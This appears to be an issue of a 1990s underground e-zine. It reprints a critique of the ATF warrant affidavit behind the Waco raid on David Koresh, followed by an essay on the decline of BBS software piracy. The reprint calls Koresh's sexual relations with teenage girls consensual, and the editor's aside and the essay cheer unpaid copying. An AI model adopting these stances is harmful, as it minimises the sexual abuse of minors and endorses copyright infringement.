Machine-gun conversions of the kind for which Koresh was under investigation constitute a new and tricky area of the law. "This is a very, very convoluted, technical, angels dancing-on-the-head-of-a-pin kind of argument," says Robert Sanders, former enforcement chief of the ATF. "And there are no published rulings telling you what is and what isn't [a violation]."

Aguilera himself mischaracterized the legal definition of a machine gun in the second paragraph of his affidavit. Citing his familiarity with federal firearm laws, he stated that "any combination of parts either designed or intended for use in converting any firearm into a machinegun" is "unlawful." As we have seen, the applicable provision defines a machine gun as "any combination of parts designed and intended for use in converting a weapon into a machinegun." Aguilera's blunder is significant in the context of an investigation to determine whether there was probable cause to believe Koresh's legal acquisitions of (unspecified, in the warrant) M-16 parts were intended for the purpose of illegal machine-gun conversions.

Other Aguilera goofs raise further questions about his reliability. At one point he mistakes the legal definition of "destructive devices" (bombs, grenades, etc.) for that of "firearms." Elsewhere, he refers to two "M-16 E-Z" kits or "M-16 machinegun EZ kits" that were shipped to Koresh. In reality, these kits are known as E-2 kits. (And whether an M16 parts kit is a machine-gun kit depends on what M-16 parts are inside, and how they are used.)

That Aguilera was involved in establishing violations of a confoundingly technical area of the law may be just part of the explanation for his miscues. Aguilera apparently composed his l5-page brief in considerable haste between February 23 and February 25, 1993 (the ATF assault followed on the 28th), long after the information he had gathered about suspicious weapons shipments to Koresh would have been fresh in his mind. Indeed, it appears that the ATF had collected no reliable new information on suspicious weapons parts shipments to the Davidians after June 23, 1992, eight months before.


Stale Information

It is worth noting here that one test of a search warrant's validity is the timeliness of the evidence it presents. Dick DeGuerin, the Houston lawyer who represented Koresh during the Waco siege and now represents his mother, Bonnie Haldeman, argues that the ATF was working on "stale information," under standards derived from the 1932 Supreme Court case Sgro v. United States. Says DeGuerin, "The magistrate [has to] conclude that what they are searching for is there now, not that it was there at some time in the past."

Davy Aguilera's affidavit, submitted on February 25, 1993, contained no information less than eight months old on suspicious parts deliveries to the "Mag-Bag" metal shop the Davidians ran outside the compound, or to the Mt. Carmel Center. Stranger still, Aguilera reports no information of any kind pertaining to his Koresh investigation collected between June 23 and December 7, 1992, with three minor exceptions. For almost six months, his investigation of Koresh appears to have been virtually moribund.

In their reporting on the ATF investigation, the media appear to have been struck dumb by the amount of evidence stuffed into Aguilera's 15-page affidavit. But Aguilera's brief is larded with filler, like the trivial exceptions to the five-and-a-half month hiatus in the Koresh probe.

On November 13, a lieutenant in the County Sheriff's Department told Aguilera that an anonymous UPS employee had told him that "Marshall Keith Butler, a relative of the person who wishes to remain anonymous, is a machinist by trade, and is associated with Vernon Howell." But what is this doing in the warrant? There is no indication that Butler had any expertise in firearms. His association with Koresh is not specified, and his name never crops up again in the search warrant.

Also on November 13, a local deputy sheriff told Aguilera of hearing a loud explosion on the Mount Carmel Center grounds and observing a large cloud of gray smoke dissipating from ground level. Was it an illegal explosion? The warrant supplies no more evidence in support of such an assumption than it does in support of an assumption that the explosion was innocuous, related perhaps to the Davidians' continuing construction work on their property.

After the five-and-a-half-month lapse, the ATF investigation resumed in December 1992. Despite intensive efforts in June, the ATF had failed to establish probable cause to believe that Koresh was illegally manufacturing and concealing machine guns and destructive devices. "Congressman Fish asked me if we had probable cause by February," Director Higgins testified to the House panel in April. "We had a review in here--in the headquarters office in December with respect to whether we had probable cause. We decided at that point we did not, so we continued to gather information."

All those documented M-16 parts and grenade hulls and no probable cause? How's that? By now an attentive reader should have the answer. Higgins did: "What we were dealing with [in June] were parts, as well as explosive materials, that only become violations if you make something out of them."


Stale Witnesses

If the purpose of the flurry of interviews forming Part II of the ATF investigation was to build on the ATFs previous work and bolster case for probable cause, then it must be deemed a near total failure. The warrant reports on interviews conducted after December 1992 with six former Davidians who had resided for varying lengths of time at Mount Carmel. With one exception, none said anything about what Koresh might have made with the weapons parts and explosive materials he acquired in 1992, which formed the basis of the ATF case. With one shaky exception, none of them could have. Because the parts and materials acquisitions so painstakingly documented by the bureau in June all occurred during 1992. As can be readily verified by anyone who would trouble to plot the relevant dates on a timeline, five of the six former cult members contacted each left the compound, left Waco, and left David Koresh and his sect behind well before that time.

Robyn Bunds, a former Davidian and the mother of a child by Koresh, was interviewed on December 11, 1992. She had left the commune in 1990.

Jeannine Bunds, Robyn's mother, was interviewed on December 12. As a member of Koresh's harem, the House of David, Mama Bunds, like her daughter, had slept with Koresh, each in the conviction, shared by all the other women in the House of David, that procreation was the function of sex with Koresh, and an extraordinary type of procreation at that: they believed they were receiving the seed of the Lamb of God and bearing God's grandchildren. (Doubtless, Robyn and Jeannine had, with the aid of "cult deprogramming," come to view Koresh's mother-daughter feat quite differently by the time they cooperated with the authorities, and one might legitimately question the objectivity of the information they supplied.) Jeannine left the group in September 1991.

Robyn's sister-in-law Deborah Sue Bunds was interviewed in January 1993. Her date of departure is unspecified and unnecessary to specify: she testified only that four years earlier she saw Koresh fire what she assumed was a machine gun and shortly thereafter overheard him discussing machine guns with associates. (If it was a machine gun at all, it obviously was not fabricated from the parts shipped four years later. Conceivably, she saw Koresh at play with a frivolous toy he possessed, a "hellfire" device. A spring attached to the trigger, the "hellfire," causes a gun to fire erratic three-round bursts automatically. Upon hearing of complaints from neighbors about his "hellfire," Koresh asked the McLennan County Sheriff's department to have a look at it, and he was assured the gadget was legal.)

Mrs. Poia Vaega, interviewed by telephone from her New Zealand home, resided at the compound for all of ten days back in March 1990.

Interviewed in January 1993, Marc Breault lived at the Center from early 1988 until September 1989. After breaking with the Davidians, he became a Koresh nemesis, a one-man whistle-blower prophesying doom for the sect to whoever would listen. Breault claims no knowledge of illegal weapons or explosives possessed by Koresh. Curiously omitted from Aguilera's account is the fact, widely reported elsewhere, that Breault is blind. (Yet, according to Aguilera, Breault "participated in firearm shooting exercises conducted by Howell"--which under the circumstances surely was illegal.)

If the eight-month-old information on parts shipments was vulnerable to legal challenge as stale, then the material from the "new" witnesses is even staler. All of the information in the warrant gathered from these five former Davidians is at least eight months old. Overwhelmingly, it is far older than that. Maybe a strong motion to suppress could have been filed. But more importantly, these five offered no evidence that Koresh was assembling or converting those parts listed by the ATF into machine guns or other illegal destructive devices, because they were long gone from the scene by the time these parts were acquired.

Spetznas Vol 1 Issue 6
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Later Information

This is not to say the ATF's resumed investigation added no evidence to the case for probable cause it had begun in June. On January 25, 1993, Aguilera interviewed ex-Davidian David Block. At least the dates of his brief residence at Mount Carmel (March-June 1992) match up with those of the parts acquisitions. While there, he saw a metal lathe and milling machine usually operated by Donald Bunds (Robyn's dad, Jeannine's ex), who, he said, had "the capability to fabricate firearms parts." Moreover, according to the affidavit:

Mr. Block was present on several occasions when Howell would ask if anyone had any knowledge about making hand grenades or converting semi-automatic rifles to machineguns. At one point he also heard discussion about a shipment of inert hand grenades and Howell's intent to reactivate them.

With the exception of one ATF undercover agent, the Block interview is the last one recorded in the affidavit. Coming so late in the investigation, Block's story may strike some ears as a little too pat, but it does constitute evidence relevant to the investigative spadework done seven months before on parts and materials shipments. (Still, it raises questions about the claims of other former cult members that they saw Koresh firing machine guns years previously. If he was observed firing machine guns in February 1989 and talking about adding to his collection, why would he ask advice on how to convert semi-automatics three years later?)

Block also recounts observing Donald Bunds designing a "grease gun/sten gun"-a World War II-vintage British machine gun-on an Auto Cad computer on the premises. Whether a computer design constitutes probable cause for a weapons search is open to question, but there is no question that Aguilera had serious doubts about the reliability of Block's weapons knowledge, noting that he mistook a British Boys .52 anti-tank rifle for a .50 caliber rifle.

The dates in the affidavit don't match, and so far as the original weapons charges are concerned, the two halves of the investigation don't mesh. Indeed, they only touch, a little suspiciously, at one point in David Block's testimony. And if the purpose of phase two was to build on the probable cause foundation so meticulously laid in phase one, it can hardly be counted a success. But maybe that was not its primary purpose.


The Second Phase

Phase two of the investigation is of a very different nature than phase one. It is diffuse, undisciplined, deceptive, urgent, ominous, and concerned with alleged deviations from moral norms that fall far beyond the jurisdiction of the ATF.

Starting in December, the ATF begins to caricature David Koresh as the Antichrist. Phase two renders, or constructs, the portrait of a militarized, polymorphously criminal Caliban on a hair-trigger ruling over a squad of zombiefied zealots blankly awaiting zero-hour for the damned, a bomb ticking out the days on a piece of East Texas scrubland before blasting through the cosmos into eternity on a signal from Koresh.

Confronted with this scary composite, one can easily see why U.S. Magistrate Judge Dennis G. Green hastily approved search and arrest warrants on Koresh, without pausing long over the particulars of the bloated Aguilera affidavit. This composite might even have caused Green to swallow any doubts he might have harbored about the scale of the impending ATF raid-assuming, that is, that the ATF had clued him in. But, scary though the composite seems, many particulars turn out, on inspection, to be less so. Space permits a look at only some of them.

Robyn Bunds, according to Aguilera, said that "residents were subjected to watching extremely violent movies of the Vietnam war which Howell would refer to as training films." Omitted are the names of these movies. It turn out they were Oliver Stone's Oscar-winning Platoon, Stanley Kubrick's anti-war satire Full-Metal Jacket, and Hamburger Hill, a critically admired Hollywood failure that was not transparently hostile to the U.S. role there. Robyn also told Aguilera that Koresh even kept a gun "under his bed while sleeping."

Aguilera's records search revealed that "most" of the forty or so foreign nationals who at some point gave the Mount Carmel Center as their local point of contact "have over stayed [sic] their entry permits or visas and are therefore illegally in the United States." Is the ATF in the business of policing our borders?

David Block stated "that he observed at the compound published magazines such as, the Shotgun News and other related clandestine magazines." But Shotgun News is hardly clandestine: page 22 of the June issue of American Rifleman, the NRA's flagship publication, displays a column-length advertisement for the magazine, which, incidentally, accepts MasterCard and Visa! The other related "clandestine" magazines are left unidentified.

Koresh told Marc Breault, writes Aguilera, "that he was interested in acquiring the 'Anarchist's Cook Book', which I know is a publication outlining clandestine operations to include instructions and formulas for manufacturing improvised explosive devices." And Block, two-and-a-half years later, during his stint at the compound, "heard extensive talk of the existence of the 'Anarchist Cook Book.' " However nefarious the book may sound, there remains no allegation that Koresh ever had a copy in his possession.


Child Abuse

One of the December interviews is with Joyce Sparks, the Texas Child Protective Services (CPS) investigator we met earlier. CPS was looking into complaints that Koresh was "running a commune-type compound, and that he was sexually abusing young girls," Aguilera notes portentously. With the magistrate in mind, he deftly waves his red cape. On Sparks's first visit, Mrs. Koresh would not speak with her, because "she had strict orders not to talk with anyone" unless Koresh was present. On her second visit, Sparks saw a buried school bus with the seats removed, and "at one end of the bus she could see a very large refrigerator with numerous bullet holes." She "felt the entire walk through the compound was staged for her by Koresh." And yet she cites not a single instance of sexual abuse. This vignette is the closest we get to child abuse: "She talked to a boy about seven or eight years old. The child said that he could not wait to grow up and be a man. When Ms. Sparks asked him why he was in such a hurry to grow up, he replied that when he grew up he would get a 'long gun' just like all the other men there." That's child abuse?

And what conceivable jurisdiction could the ATF have over child abuse? According to DeGuerin, "It was thrown in there simply to stink up the case."

Worse, Aguilera suppresses the fact that this child abuse investigation was closed on April 30, 1992, having failed to produce any evidence. "None of the allegations could be verified," according to an April 23, 1993 case summary released by the Texas Department of Protective and Regulatory Services. It reported, moreover, that no further allegations of child abuse had been received since the investigation closed, and that even interviews with children released from the compound during the 5l-day siege "have not confirmed any of the allegations or described any other incidents which could verify our concerns that they have been victims of physical or sexual abuse."

The government cannot be expected, of course, to give both sides of the story in an ex parte search warrant. But a bad-faith omission of this kind falls in another category. DeGuerin implied that, had Koresh lived, he would have petitioned to have the warrant nullified on grounds first established by the 1978 Supreme Court case Frank v. Delaware- which held that if an agent knowingly falsifies or misleads the magistrate in the issuing of the search warrant then the search warrant is invalid "If he says they've been investigated for child abuse," says DeGuerin, "and yet the outcome of that investigation was they were cleared of it, then that's misleading."

How much of what we think we know about Koresh and child abuse and sexual contact with minors is true? How much of what can be verified is actually against the law? How much of it is the product of sensationalized reporting, ignorance of Texas law, and panicky, irresponsible exercises in official self-justification, like Attorney General Janet Reno's wild claim (later repudiated by the FBI) that she ordered the FBI to smash and gas because "babies were being beaten" inside?

Remember Sparks's little fiction about her encounter with Koresh in the compound when he promised to make the L.A. riots look like a tea party? When I first asked her about it she confirmed it. "That's a fact," she said. I asked if she was sure of the April 6 date. She hedged, but repeated that it took place in the compound. "I don't remember the date. To be truthful I haven't really looked at that, that's been over a year and a half ago, so I'm not, I couldn't just get the dates for you, um, but on one of my visits, yes, he did say that," she said. Told the exchange could not possibly have happened on one of her visits to the compound (her final visit was April 6, the riots were on April 29, the case was closed April 30) she responded, "We made several visits, and I continued to have conversations with him even after the case was closed." She maintained telephone contact with Koresh, because she was convinced, despite all the denials, that "the children were in danger." She "objected," she says, to her agency's decision to close the case. "The [McLennan County] Sheriff's Department sabotaged our intervention," she claims. "We were ordered to close the case."

Is it possible this family crisis intervention specialist's definition of "child abuse" is somewhat broader than that of her colleagues, than that of the McLennan County sheriffs, than the norm in the rural East Texas community where she works? Pressed to specify what kind of danger the children were in, Sparks answered, "There were indications that food was being with held as punishment." As in being sent to bed without dinner? Is that an uncommon practice in McLennan County?

Her other example has been widely repeated. "There were indications that babies were being beaten." There is ample evidence that Koresh was a stern, even severe, disciplinarian. He believed in spanking children. He sometimes used a wooden spoon. But in my scouring of the record—-the ATF warrant, two quickie books on Koresh, voluminous case files and press reports—-I have found just one specific and detailed allegation that Koresh beat a baby. In an affidavit filed in a Michigan trial over custody of Kiri Jewell (a child who lived with her mother at the compound), ex-Davidian Michelle Tom alleged that Koresh had beaten her eight-month-old child Tara's bottom until it bled. Perhaps we will never learn if these practices were isolated or routine. What we know is that a few defected and deprogrammed Davidians alleged child abuse, and many more loyalists, while they lived, denied it.

We know that Koresh had an unchecked libido, a filthy vernacular that he failed to clean up in the presence of children, that he had a harem of women of varying ages, and that, dating from his announcement of his "New Light Doctrine," he insisted on male celibacy in the compound, excepting only himself. We also know that his sexual relations with his female followers were consensual. I have never heard an allegation to the contrary. And they were linked explicitly, in somewhat Victorian fashion, to procreation.


A Newsweek account gives a sense:

To many girls being chosen by Koresh was an honor they eagerly sought. Koresh "wouldn't do it unless you wanted it," says Jeannine Bunds, 51.... "It wasn't about sex, but he was a very appealing, sexual person.... He didn't say, 'Ooh, you've got sexy boobs.'" He just loved the idea of womanhood...and he made you feel special...A union with Koresh was spiritual, says Robyn Bunds, who met with Koresh when she was 14 and slept with him when she was 17 . . . "He's perfect, and he's going to father your children. What more can you ask for?"

Of course, there is a powerful social consensus that minors do not have the emotional maturity to responsibly consent to sex, and thus we have statutory rape laws. Not all support this consensus. First Lady Hillary Rodham Clinton, for example, wrote some years ago, "The so-called status offenses, incorrigibility, truancy, running away, sexual precociousness, represent a confused mixture of social control and preventive care that has resulted in the confinement of thousands of children for the crime of having trouble growing up."

In a society afflicted with an epidemic of "children having children," it is clear that statutory rape laws are often unenforced, though in many of these cases the children are abandoned by "deadbeat dads." While Koresh did provide for the children of his "wives," he would have been liable to prosecution on sexual assault charges, second-degree felonies. While the age of sexual consent is just 14 under the Texas penal code's Indecency with a Child Statute, it is 17 under section 22.011, Sexual Assault.

There is an ironic socio-legal aspect here that has escaped general notice. Under that Texas law, Koresh would have been off the hook if his teenaged partners had been promiscuous before having sex with him. Obviously, in many areas of the country, teenage sexual promiscuity is rampant, and in some jurisdictions is tacitly condoned by the distribution of condoms in high schools. But it is highly unlikely that any of Koresh's teenage partners met this legal standard of promiscuity, because in his capacity as sexual lawgiver at the compound he rigidly policed the girls' sexuality, restricting them to the procreative sex they had with him. Thus, though some will see him as nothing but a wanton sexual predator, he in fact faced an unusually large area of legal vulnerability because he was a repressive regulator of sexual mores within his isolated realm.

Whether deterred by the daunting prospect of prosecuting these unusual sexual offenses, or by the thought that state intervention and dissolution of the Davidian families might be more damaging even than the status quo, the local law enforcement authorities with jurisdiction never stepped in to force this community to conform en masse to the norms of the world from which it had voluntarily withdrawn. Certainly, the ATF raiding party and the FBI gas attack placed the Davidian children in far greater and more immediate danger than any they had previously faced.

Why? Why does the ATF leave the evidence of illegal machine gun conversions and grenade manufacture dangling somewhere below the level of probable cause? And stuff its warrant instead with a circuit jamming array of extraneous, manipulative, luridly alarmist material bearing on subjects that fall well beyond the scope of the ATF's ostensible investigation and its jurisdiction?

"The information about the child abuse establishes information concerning the level of threat to life and safety which exists within the compound," says ATF spokesman Jack Killorin. "The warrant is for an imminent threat to the life and safety of everybody in that compound. The warrant is for the illicit manufacture of explosives and explosive devices which right away is an immediate threat to the life and safety of every person in there."

An immediate threat to the life and safety of every person in there? A boy who wants to grow up so he can carry a gun? The viewing of Platoon? The leader s polygamy? Lapsed visas? On close inspection, as we have seen, this material hardly establishes an immediate threat to the life and safety of every person in there.

But quickly digested and taken at face value, this information would likely be interpreted as Killorin suggests it should, as justifying a massive raid on a split-second timetable that indiscriminately placed in danger every person in the compound, from the suspected wrongdoer to blameless infants and elderly and everyone in between. A matter-of-fact case of suspected violations of the National Firearms Act, on the other hand, would hardly have provided a reasonable basis for such extraordinary enforcement measures.


A Raid, Regardless

By February 23-25, when Aguilera was drafting his affidavit, ATF Special Response Teams from three cities were already at Fort Hood, drilling for the imminent raid, and planning had been underway for months. With the plan locked in, the affidavit would have to do more than document probable cause to believe Koresh had violated the NFA—it would have to leave a record justifying a military-style assault.

But why would ATF have decided on a high-risk military style raid when they might have picked Koresh up on one of his regular jogs? Or, alternatively, when he was out shopping, as he often was, with his legal wife Rachel and their kids in local music stores and auto parts shops? Or when he was at one of the many gun shows he regularly attended?

Because the visuals wouldn't have been sexy. The ATF invited television news crews along on this raid. Indeed, it was local television cameraman John McLemore who, according to Harwell, inadvertently tipped off a Koresh follower he encountered on the road of the raid scheduled to commence later the same morning.

This looks like a "rice bowl raid," undertaken to boost the agency's standing among the Washington bureaucrats and legislators who fund it. It was appropriations season in Washington. The bureau's annual appropriations hearing was scheduled for March 10 1993. Videotape of the bureau's precision raid on an armed and dangerous cult leader would have been fresh in the minds of congressional appropriators. In normal times, it would likely have served as a powerful symbol of ATF enforcement prowess for years to come, much as the bureau's tracing of the gun John Hinckley used has served for years as a powerful symbol of its investigative prowess.

But these were not normal times for the agency. Its public image and morale had been devastated by a January 12 expose on "60 Minutes." The segment broadcast graphic allegations by female ATF agents that they had been sexually harassed on the job by male colleagues and that the agency intimidated and punished victims and witnesses who had pressed sexual harassment claims. One agent, Michelle Roberts, charged that agents had left dildos and other sexual devices on her desk. She also charged that after an undercover assignment, one agent had pinned her against the hood of a car while two others tore at her clothes. While the segment didn't air until January 12, by which time planning was underway for the raid on Mount Carmel, it had been in production for some time. And "60 Minutes" had first contacted ATF personnel around mid-November 1992, according to Bob Anderson, who produced the segment for CBS. In other words, the character of the ATF's Koresh investigation changed radically in the weeks just after bureau officials would have learned that "60 Minutes" had them in its sights.

For the first time in twelve years a liberal would be in the White House, and with Congress still in Democratic hands, Washington was on the threshold of a new era of liberal activism. What a first impression the ATF would make on its new bosses! Sexual harassment! Could there be a better way of washing away this taint of troglodyte sexism than mounting an operation against the self-proclaimed prophet they had under investigation down in Waco, this white, male, sexually predatory, patriarchal, tax-resisting, gun-loving religious nut with a fierce will not to be governed by secular authorities?


Self-Defense?

Whether the ATF succeeded in establishing probable cause or not, they had legal search and arrest warrants, signed by a magistrate. If, as the government contends, Koresh, after detecting the impending raid on the morning of the 28th, prepared his followers for armed resistance and sent them to their battle stations to repulse a legally authorized raid, then he and those who followed his commands are responsible for the deaths of four federal agents. They are murderers.

Unless the government fired first. There is no law anywhere that requires someone to offer himself as target practice, to federal agents or anyone else.

The outlines of the government's case have already been sketched in ATF affidavits filed after the initial shootout in support of charges against released cult members for conspiring to murder federal officers. Early on the morning of the 28th, David Jones, a Koresh follower and Mount Carmel resident, went out for a newspaper. On his return, he saw a driver who appeared to be lost, and stopped to offer help. Jones, it happened, was a postman, who made his rounds in his own car, which bore the postal service logo. The driver asked Jones whether he was a postal employee, and Jones assured him-twice-that he was. John McLemore, a cameraman with Waco's KWTX-TV, identified himself to Jones and warned him that agents would soon be on their way out there, prepared for a shootout. Jones hot-footed it back to Koresh.

Inside, Koresh was providing a biblical exegesis for Robert Rodriguez, an ATF undercover agent who had infiltrated the cult in early January, posing as a neighboring graduate student. (Rodriguez gathered little evidence to bolster the government's case against Koresh. In the one interview he has given, he described poignantly how a steady diet of Koresh's biblical teachings had almost hooked him. Asked by Dallas Morning News writer Lee Hancock if Koresh ever got to him, he answered in a cracking voice, "He was close.") The Davidians had long since divined his true identity. How to warn Koresh without tipping off the undercover agent that surprise had been lost?

A ruse was devised. One version has David Jones interrupting Koresh to ask him to step into another room to take a long distance call from England. Another has a Davidian calling a relative instructing that relative to immediately call back and ask for Koresh.

In ATF agent Earl Dunagan's account in his affidavit, the details are left vague, but the meaning is clear:

Early in the morning of Sunday, February 28, 1993, the undercover agent entered the Mount Carmel Compound and met with Vernon Howell, Steve Schneider, and other residents of the compound. Vernon Howell was then summoned from the room by a fellow resident of the compound, Perry Jones, leaving the agent in the foyer area. At about the same time, David Michael Jones, an associate of Vernon Howell, had arrived at the compound after learning that the compound might be raided that day. A short time later, Howell returned to the room where the agent waited, and exclaimed that the ATF and the National Guard were coming to get him. Howell continued, saying, "Neither ATF or [sic] the National Guard will ever get me. They got me once, and they will never get me again. They are coming; the time has come."


Shortly thereafter, the undercover agent left the compound.

The government will use Koresh's chilling final words to the plant in support of its argument that Koresh methodically ordered his people to grab their guns and man their battle stations to repulse the expected raid. But is the Rodriguez account precise? At the moment of the alleged words, a panicked Rodriguez feared for his life. "They opened the door for me to get out, and I said to myself, 'They were going to shoot me in the back,'" he told the Dallas paper.

Perhaps Rodriguez quoted Koresh accurately. If so, Koresh's words are strange indeed. Taken literally, they make no sense. Koresh never had been taken by either the ATF or the National Guard. Any Davidians present would surely have known this. Perhaps he intended those words as a warning for Rodriguez to relay to his superiors. It is strange that Koresh, allegedly readying himself for his long sought showdown with the law, let an ATF agent go, rather than shooting him or keeping him hostage. Koresh learned they were coming and let an agent go unharmed. The ATF learned that they'd been snitched on and had lost the element of surprise-and proceeded.

There is another version of how the shooting started. Dick DeGuerin relates what his client said when he visited with him inside the compound during the long stand-off with the FBI:

He knew they were coming, and he was watching for them and saw these two cattle trailers roar up, and people start streaming out of the back of them, screaming at the tops of their lungs, not anything like, "This is a search" or "We're agents" or "Put up your hands"or anything like that. It was just screaming, yelling, like Marines storming the beach.

He stepped out the door, held up his right hand and said, "Wait, go back, there are women and children in here. Let's talk about this."

And he was met with, first, one shot that barely missed his head, hit the door right by his head, and then a barrage of shots, and he ducked back inside.... They didn't get him. They did kill Perry Jones with that first barrage.... After that, those on the inside ran to their rooms, got their guns and started firing back.

Of course, DeGuerin was not there at the time. This is his recollection of what Koresh told him after he would have had time to concoct at his leisure a version of events that indicated legitimate self-defense.

Since DeGuerin offered this unsubstantiated account, the 911 tapes have been released. Twice while under ATF fire, the compound placed emergency calls to the McLennan County Sherif's 911 switchboard. In the first call, Wayne Martin, a top Koresh lieutenant and also a Waco attorney well known and liked in the local legal community, pleads with Sheriff's Lieutenant Larry Lynch:

LYNCH: Mount Carmel?

MARTIN: Yeah. Tell them there are children and women in here and to call it off.

LYNCH: All right. All right. Hello? I hear gunfire. Oh, [expletive deleted].

MARTIN: Call it off.

Koresh himself places a second 911 call. After making grimly ironic note of the lieutenant's name ("Hey, Lynch? . . . That's a kind of funny name there."), Koresh, in real time now, in the fog of battle, laments the government's failure to talk before shooting:

KORESH: You see, you brought your bunch of guys out here and you killed some of my children. We told you we wanted to talk. No. How come you guys try to be ATF agents? How come you try to be so big all the time?

LYNCH: Okay, David.

KORESH: Now, there' s a bunch of us dead, and a bunch of you guys dead. Now-now, that's your fault.

LYNCH: Okay, let's-let's try to resolve this now. Tell me this.

Now, you have casualties. How many casualties? Do you want to try to work something out? ATF is pulling back, we're tying to-

KORESH: Why didn't you do that first?

In a third and final call, placed by Lynch, Martin repeatedly pleads for a cease-fire, offers to arrange one, and claims at one point that the people inside had ceased their fire, but that incoming fire had continued unabated. "I have a right to defend myself," he says at one point. "They started firing first.''

But a half-hour elapsed between the first call and the first radio contact between the Sheriff's office and the ATF at the site. An hour passed before Lynch could reach the ATF on a secure line. Sheriff Jack Harwell, the chief law enforcement officer in the jurisdiction, had been largely left out of the loop by the ATF throughout the investigation and the raid. Might the outcome have been different if his and his department's accumulated insight into the ATF's prey been adequately tapped? If their record of successful, direct interaction with Koresh and his flock had been studied as a model? Maybe, maybe not. With federal agents and Davidians alike dropping dead in the furious crossfire a few miles out of town, the local sheriff's department couldn't get a federal agent on the phone. But the cameras were there to capture footage of a hundred black flak jackets and blue ATF windbreakers swarming into Caliban's kingdom.

----------------------

Copies of Daniel Wattenberg's "Gunning For Koresh" are available for $5 each; ten for $35; twenty five fro $75; one-hundred for $250. Send your order to: The American Spectator, P.O. Box 549, Arlington, VA 22216-0549.

(or don't do SHIT. Read it in SpetZnas and Fuck paying for it!

The End Of The Revolution

by Jake Speed

It's the new year, a time filled with promise and hope, false as it may be. It's the new year, we look back to see what happened and try to guess what will. These are the times in which Jean Dixon and her cohorts try to tell us what will be. Julia Roberts to have triplets by Bruce Jenner, Bill Clinton will admit that he did inhale, a giant space creature from somewhere around the star Gilifregant will come toward earth looking for new planets to munch on as an after dinner snack. Well, with this as a proviso I will enter the fray and call what I see for the new year:


THE END OF THE REVOLUTION CALLED PIRACY

That's right, folks, it's over. It's dead, pushing up the daisies, in the big sleep, kapoot, lalaland, past it's waking hour, it's over. Don't shead any tears just yet. We did it. It's all our fault. We took the sword and pushed it right through our own happy little heart so that we could have fun now.

You don't believe me? Look around you. Where are the really good pirate boards? Oh yeah, there are two or three in Austin. So? I remember when there were thirty really killer boards. But what do we have now? Where has it gone? Why?

These are simple questions. Think back to your first computer. I had an Amstrad (if you have never heard of them, call yourself lucky). This thing was a piece of junk. It had a monitor which COULD do EGA but was stuck in the CGA mode. It had a 360K drive and no hard drive. That was four years ago. I didn't buy it. But it did have one killer printer. Look at what you are reading SpetzNas on? Probably a 486, with 8 megs of RAM, at least 170 meg hard drive, and VESA Super VGA, add a 14.4 modem and bingo!

How did that answer the questions? Real easy. When I first joined the community I found that almost everyone knew each other. You would help each other out. Everyone had 2400 and EGA. The really cool guys had 14.4 an would allow the slower people on their boards to snag the really new cool games. VGA was just coming into it's own and so a bunch of new games were following and creating graphics we had never seen.

Now? Well, let's say that you basically have to hate everyone, have a 14.4 modem, a supercool handle, and be able to BS your way around the questions about being law enforcement. If you don't like someone you call the SS on them and turn them in. No one knows each other, no one wants to. I sure wouldn't want to know some snot nosed little 16 year old calling himself the greatest hacker because he was first to get SimFarm on the market. Wow you little maggot, it wasn't copy protected. I should know, I bought the game.

How does this explain how we killed piracy? Simple. You saw what type of machine I had. We all did. None of us had anything fancy, we couldn't afford it. We downloaded games and utilities that were some 300K, and that was for some of the top of the line games. But we, as cyberspace scum, had to have it faster. We had to get things quicker so we could play more games NOW. Why are there 14.4 or 9600 baud modems? Data transmissions are safest the slower they are. They came about because of a desire to leech more and more. Remember your economics: If they ain't a market to sell things in their won't be products to go into it. There was a market, the software pirates. All UDS and USR did was fill the need.

Because of this need for faster modems the software companies responded. Because of the growing popularity of VGA and SVGA the games got larger. Instead of being only 300K they quickly became 3 Meg, now some even hit as large as 33 Meg (WordPerfect for Windows with all options). Look at the size of games and compare it to the speed of modems. You will see how as the modems speeds increased so did the size of programs. I do software prep for a major computer company and there is a program called Lotus Smart Suite. The program is 33+ 1.44K disks. Why? It makes it so much tougher to pirate if you need to download 45 meg worth of stuff. If you can get 6 Meg an hour, you can see it could take you over seven hours to get it. Because we wanted more now we created our own death.

I'll be fair, it wasn't completely our own fault. We created the environment for everything that came. The software companies helped out. In some strange dance, we both needed each other no matter how much we bitched about the other. Without the software companies there would have never been the pirates. But the software companies needed us. You might not believe it but they really do. They need pirates, they need us bad. Boil away everything else and they need us for the greenbacks. If Ultima VIII really worth 79.95? Is OS/2 150? Or Windows NT 495? No.

That's right, if we do decide to buy our software look what we have to pay! See, we are the reason the prices are so high. The companies play the media game better than we do. They have people who we look at and respect to strut their case in the media. Who do we have? Keith Meinholt? Robert "The Internet Worn" Morris? They go to the public, which is ignorant of the BBS and CyberSpace communities, and say:

"Oh, we would love to give you this new version of 25 bucks but we just can't. You see, people who have modems take our programs and give them away. Because of these people we must charge the price of 159.95 plus tax. If not, we would go out of business."

Bullshit! Pure bullshit. They claim every copy of a program which is pirated is a loss of income. Many problems exist in their model. See, if this fourteen year old got access and downloaded WordPerfect 6.0 for Windows, the WordPerfect Company would claim the loss of 325 bucks. Most of us would look and state that this person would have never bought the thing in the first place. This factious lost is just that factious. But this is how the companies claim we are killing them.

Here is another example. Origin Software of Austin, Texas stated in early December that they lose 70 million dollars a year to pirates. Yeppers, you can me cost Origin of Austin 70 mil a year. I'm sorry Origin, you lose 70 million a year because you make games like Strike Commander! I had bought the last three games from Origin, I loved them all. I bought Strike Commander. Sorry, if I am going to pay 60 bucks for a game it better be worth it. This one wasn't. Nothing they have done in the last year has been. But we keep "stealing" Origin's money. I beg to differ.

The final thing that killed us was the American Way. We have to have everything bigger, faster, better. We wanted SVGA with massive intros. We wanted games which would take us awhile. We wanted everything. Matsumi and Panasonic gave it to us. They gave us the CD-ROM. With that the Pirate Revolution died. Since we wanted it all we got it. We have games that are 600Meg. We have games with incredible intros. We have games that take us a long time to play. We lost our ability to play without paying. At this time there is no way to reproduce a CD-ROM. We, as pirates, did ourselves in by being so clever.

All we did was give the software companies a reason to charge high prices without the fear of reproduction. In an economic sense we priced ourselves out of the market we created. People like Origin love us. We gave them a reason to charge prices which we cannot pay. To make a disk based game of twenty meg it would take five or six dollars of disks to do it, for a CD-Rom it takes less than a buck. We gave them reason to charge high prices.

I think we should take a bow. We allowed them to kill us. Aren't we nice! So, I hail you pirates, I hail you because we are a dying breed. Maybe in CyberSpace Valhalla we shall met again. There we shall drink, toke, and pirate to our hearts content. Hail to the dead breed of computer purists.

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